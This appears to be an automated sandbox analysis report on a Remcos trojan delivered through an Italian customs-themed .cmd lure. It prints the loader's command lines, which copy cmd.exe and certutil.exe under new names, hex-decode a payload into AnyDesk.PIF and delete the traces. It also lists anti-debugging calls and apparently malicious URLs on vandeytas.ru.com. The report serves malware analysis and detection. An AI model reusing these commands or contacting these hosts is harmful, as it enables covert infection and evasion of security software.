Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B8C570 push 02B8C56Eh; ret	9_2_02B8C566
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B6C56C push ecx; mov dword ptr [esp], edx	9_2_02B6C571
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B7AAE0 push 02B7AB18h; ret	9_2_02B7AB10
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B7AADF push 02B7AB18h; ret	9_2_02B7AB10
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B78AD8 push 02B78B10h; ret	9_2_02B78B08
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B6CA4E push 02B6CD72h; ret	9_2_02B6CD6A
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B6CBEC push 02B6CD72h; ret	9_2_02B6CD6A
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B7886C push 02B788AEh; ret	9_2_02B788A6
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02BD4850 push eax; ret	9_2_02BD4920
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B7790C push 02B77989h; ret	9_2_02B77981
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B76946 push 02B769F3h; ret	9_2_02B769EB
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B76948 push 02B769F3h; ret	9_2_02B769EB
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B75E7C push ecx; mov dword ptr [esp], edx	9_2_02B75E7E
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B72F60 push 02B72FD6h; ret	9_2_02B72FCE

Persistence and Installation Behavior

Source: C:\Users\Public\kn.exe

File created: C:\Users\Public\Libraries\AnyDesk.PIF

Jump to dropped file

Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\kn.exe	Jump to dropped file
Source: C:\Users\Public\kn.exe	File created: C:\Users\Public\Libraries\AnyDesk.PIF	Jump to dropped file

Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe			Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\kn.exe			Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe			Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\kn.exe			Jump to dropped file

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 9_2_02B7AB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_02B7AB1C

Source: C:\Users\Public\Libraries\AnyDesk.PIF	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Users\Public\alpha.exe

Evaded block: after key decision

Source: C:\Users\Public\alpha.exe	API coverage: 8.3 %
Source: C:\Users\Public\alpha.exe	API coverage: 8.6 %
Source: C:\Users\Public\kn.exe	API coverage: 0.8 %
Source: C:\Users\Public\alpha.exe	API coverage: 9.6 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\Public\alpha.exe	Code function: 3_2_00007FF7E1DC823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	3_2_00007FF7E1DC823C
Source: C:\Users\Public\alpha.exe	Code function: 3_2_00007FF7E1DC2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	3_2_00007FF7E1DC2978
Source: C:\Users\Public\alpha.exe	Code function: 3_2_00007FF7E1DB35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	3_2_00007FF7E1DB35B8
Source: C:\Users\Public\alpha.exe	Code function: 3_2_00007FF7E1DB1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	3_2_00007FF7E1DB1560
Source: C:\Users\Public\alpha.exe	Code function: 3_2_00007FF7E1DD7B4C FindFirstFileW,FindNextFileW,FindClose,	3_2_00007FF7E1DD7B4C
Source: C:\Users\Public\alpha.exe	Code function: 5_2_00007FF7E1DC823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	5_2_00007FF7E1DC823C
Source: C:\Users\Public\alpha.exe	Code function: 5_2_00007FF7E1DC2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	5_2_00007FF7E1DC2978
Source: C:\Users\Public\alpha.exe	Code function: 5_2_00007FF7E1DB35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	5_2_00007FF7E1DB35B8
Source: C:\Users\Public\alpha.exe	Code function: 5_2_00007FF7E1DB1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	5_2_00007FF7E1DB1560
Source: C:\Users\Public\alpha.exe	Code function: 5_2_00007FF7E1DD7B4C FindFirstFileW,FindNextFileW,FindClose,	5_2_00007FF7E1DD7B4C
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C535E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,	6_2_00007FF67C535E58
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C5919F8 #359,FindFirstFileW,FindNextFileW,FindClose,	6_2_00007FF67C5919F8
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C591B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359,	6_2_00007FF67C591B04
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C53DBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose,	6_2_00007FF67C53DBC0
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C573674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359,	6_2_00007FF67C573674
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C53B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,	6_2_00007FF67C53B3D8
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C53D4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle,	6_2_00007FF67C53D4A4
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C4FD440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,	6_2_00007FF67C4FD440
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C596F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357,	6_2_00007FF67C596F80
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C593100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357,	6_2_00007FF67C593100
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C5910C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357,	6_2_00007FF67C5910C4
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C52C6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree,	6_2_00007FF67C52C6F8
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C59234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose,	6_2_00007FF67C59234C
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 9_2_02B65908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	9_2_02B65908
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF7E1DC823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	10_2_00007FF7E1DC823C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF7E1DC2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	10_2_00007FF7E1DC2978
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF7E1DB35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	10_2_00007FF7E1DB35B8
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF7E1DB1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	10_2_00007FF7E1DB1560
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF7E1DD7B4C FindFirstFileW,FindNextFileW,FindClose,	10_2_00007FF7E1DD7B4C

Source: C:\Users\Public\kn.exe

Code function: 6_2_00007FF67C57511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree,

6_2_00007FF67C57511C

Source: AnyDesk.PIF, 00000009.00000002.2940156410.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 00000009.00000002.2940156410.0000000000892000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\Public\Libraries\AnyDesk.PIF

API call chain: ExitProcess graph end node

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 9_2_02B7F744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

9_2_02B7F744

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Process queried: DebugPort

Drops or copies certutil.exe with a different name (likely to bypass HIPS)

Source: C:\Users\Public\alpha.exe

Code function: 3_2_00007FF7E1DD63FC GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

3_2_00007FF7E1DD63FC

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 9_2_02B7894C LoadLibraryW,GetProcAddress,FreeLibrary,

9_2_02B7894C

Source: C:\Users\Public\alpha.exe

Code function: 3_2_00007FF7E1DC823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,

3_2_00007FF7E1DC823C

Source: C:\Users\Public\alpha.exe	Code function: 3_2_00007FF7E1DC8FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF7E1DC8FA4
Source: C:\Users\Public\alpha.exe	Code function: 3_2_00007FF7E1DC93B0 SetUnhandledExceptionFilter,	3_2_00007FF7E1DC93B0
Source: C:\Users\Public\alpha.exe	Code function: 5_2_00007FF7E1DC8FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF7E1DC8FA4
Source: C:\Users\Public\alpha.exe	Code function: 5_2_00007FF7E1DC93B0 SetUnhandledExceptionFilter,	5_2_00007FF7E1DC93B0
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C5C53E0 SetUnhandledExceptionFilter,	6_2_00007FF67C5C53E0
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C5C4E18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF67C5C4E18
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF7E1DC8FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF7E1DC8FA4
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF7E1DC93B0 SetUnhandledExceptionFilter,	10_2_00007FF7E1DC93B0

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\extrac32.exe

File created: C:\Users\Public\kn.exe

Jump to dropped file

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\System32\extrac32.exe

File created: C:\Users\Public\alpha.exe

Jump to dropped file

Source: C:\Users\Public\kn.exe

Code function: 6_2_00007FF67C577024 GetModuleHandleW,GetProcAddress,#356,#357,CloseHandle,LocalFree,LocalFree,LocalFree,ImpersonateLoggedOnUser,#356,EqualSid,#357,LogonUserExW,GetLastError,ImpersonateLoggedOnUser,#356,#359,RevertToSelf,#356,

6_2_00007FF67C577024

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIF	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior

Source: C:\Users\Public\kn.exe

Code function: 6_2_00007FF67C5A72B0 CAFindByName,#359,LocalAlloc,InitializeSecurityDescriptor,GetLastError,SetSecurityDescriptorDacl,GetLastError,GetSecurityDescriptorLength,LocalAlloc,MakeSelfRelativeSD,GetLastError,CASetCASecurity,CAUpdateCAEx,#357,LocalFree,LocalFree,LocalFree,CACloseCA,

6_2_00007FF67C5A72B0

Source: C:\Users\Public\kn.exe

Code function: 6_2_00007FF67C574E98 AllocateAndInitializeSid,GetLastError,#357,GetCurrentThread,GetLastError,OpenThreadToken,GetLastError,GetCurrentProcess,GetLastError,OpenProcessToken,GetLastError,DuplicateToken,GetLastError,CheckTokenMembership,GetLastError,CloseHandle,CloseHandle,FreeSid,

6_2_00007FF67C574E98

Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	3_2_00007FF7E1DC51EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	3_2_00007FF7E1DB6EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	3_2_00007FF7E1DC3140
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	5_2_00007FF7E1DC51EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	5_2_00007FF7E1DB6EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	5_2_00007FF7E1DC3140
Source: C:\Users\Public\kn.exe	Code function: LoadLibraryExW,SearchPathW,FindResourceExW,GetUserDefaultUILanguage,GetLocaleInfoW,wcsncmp,GetSystemDefaultUILanguage,FreeLibrary,FreeLibrary,LoadLibraryExW,FreeLibrary,	6_2_00007FF67C5C3800
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	9_2_02B65ACC
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: GetLocaleInfoA,	9_2_02B6A7C4
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	9_2_02B65BD8
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: GetLocaleInfoA,	9_2_02B6A810
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	10_2_00007FF7E1DC51EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	10_2_00007FF7E1DB6EE4
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	10_2_00007FF7E1DC3140

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\Public\alpha.exe

Code function: 3_2_00007FF7E1DD86FC _get_osfhandle,GetLocalTime,SetLocalTime,SetLocalTime,GetLastError,GetLastError,

3_2_00007FF7E1DD86FC

Source: C:\Users\Public\kn.exe

Code function: 6_2_00007FF67C5ABEE8 LookupAccountNameW,GetLastError,GetLastError,#357,LocalAlloc,LocalAlloc,#357,LookupAccountNameW,GetLastError,#357,LocalFree,LocalFree,

6_2_00007FF67C5ABEE8

Source: C:\Users\Public\alpha.exe

Code function: 3_2_00007FF7E1DB586C GetVersion,

3_2_00007FF7E1DB586C

Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C4F5648 #357,#357,DsGetSiteNameW,#359,LocalAlloc,LocalAlloc,GetTickCount,DsGetSiteNameW,GetTickCount,#207,LocalFree,#359,NetApiBufferFree,#357,#357,#207,LocalFree,#359,#359,#359,LocalFree,NetApiBufferFree,NetApiBufferFree,LocalFree,LocalFree,#357,DsUnBindW,	6_2_00007FF67C4F5648
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C4D54A0 wcschr,NetApiBufferFree,DsFreeNameResultW,#13,LocalFree,DsGetDcNameW,#359,#224,#224,DsBindW,#357,DsCrackNamesW,#357,#145,#359,#359,#14,#359,#73,#359,#208,#26,#127,LocalFree,#140,#359,#224,#167,#27,#357,#357,#41,NetApiBufferFree,DsUnBindW,DsFreeNameResultW,#13,LocalFree,	6_2_00007FF67C4D54A0
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C4EE568 #357,LookupAccountSidW,GetLastError,#357,DsGetDcNameW,DsBindW,DsGetDomainControllerInfoW,DsGetDomainControllerInfoW,#357,DsUnBindW,NetApiBufferFree,LocalFree,	6_2_00007FF67C4EE568
Source: C:\Users\Public\kn.exe	Code function: 6_2_00007FF67C4D227C DsGetDcNameW,#357,DsBindW,DsCrackNamesW,#357,#357,#357,#357,#357,LocalAlloc,#359,DsUnBindW,NetApiBufferFree,DsFreeNameResultW,LocalFree,LocalFree,	6_2_00007FF67C4D227C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	21 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	1 System Network Connections Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Process Injection	1 Install Root Certificate	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	35 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Masquerading	DCSync	231 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	1 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Documentazione_Doganale_richieste_di_copia.cmd	8%	ReversingLabs	Text.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\AnyDesk.PIF	68%	ReversingLabs	Win32.Trojan.Remcos
C:\Users\Public\alpha.exe	0%	ReversingLabs
C:\Users\Public\kn.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://vandeytas.ru.com/233_Hlvzmhuinffj	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/U	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlvzmhuinffg	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_HlvzmhuinffLLg	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlvzmhuinff;	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/M	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_HlvzmhuinffLL	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlvzmhuinff/	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/Qu	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlvzmhuinffc	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlvzmhuinffq	0%	Avira URL Cloud	safe
https://vandeytas.ru.com/233_Hlvzmhuinff1	0%	Avira URL Cloud	safe
